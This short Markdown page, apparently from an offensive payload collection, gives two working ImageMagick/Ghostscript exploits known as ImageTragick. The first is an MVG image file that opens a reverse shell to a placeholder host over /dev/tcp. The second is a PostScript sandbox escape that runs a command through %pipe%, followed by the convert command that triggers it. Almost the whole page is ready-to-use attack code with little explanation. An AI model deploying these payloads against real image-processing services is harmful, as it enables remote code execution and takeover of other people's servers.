38 lines
684 B
Markdown
38 lines
684 B
Markdown
|
# Image Tragik 1 & 2
|
||
|
|
|
||
|
|
|
||
|
|
## Exploit v1
|
||
|
|
|
||
|
|
Simple reverse shell
|
||
|
|
|
||
|
|
```powershell
|
||
|
|
push graphic-context
|
||
|
|
encoding "UTF-8"
|
||
|
|
viewbox 0 0 1 1
|
||
|
|
affine 1 0 0 1 0 0
|
||
|
|
push graphic-context
|
||
|
|
image Over 0,0 1,1 '|/bin/sh -i > /dev/tcp/ip/80 0<&1 2>&1'
|
||
|
|
pop graphic-context
|
||
|
|
pop graphic-context
|
||
|
|
```
|
||
|
|
|
||
|
|
## Exploit v2
|
||
|
|
|
||
|
|
Simple `id` payload
|
||
|
|
|
||
|
|
```powershell
|
||
|
|
%!PS
|
||
|
|
userdict /setpagedevice undef
|
||
|
|
save
|
||
|
|
legal
|
||
|
|
{ null restore } stopped { pop } if
|
||
|
|
{ legal } stopped { pop } if
|
||
|
|
restore
|
||
|
|
mark /OutputFile (%pipe%id) currentdevice putdeviceprops
|
||
|
|
```
|
||
|
|
|
||
|
|
then use `convert shellexec.jpeg whatever.gif`
|
||
|
|
|
||
|
|
## Thanks to
|
||
|
|
|
||
|
|
* [openwall.com/lists/oss-security/2018/08/21/2 by Tavis Ormandy](http://openwall.com/lists/oss-security/2018/08/21/2)
|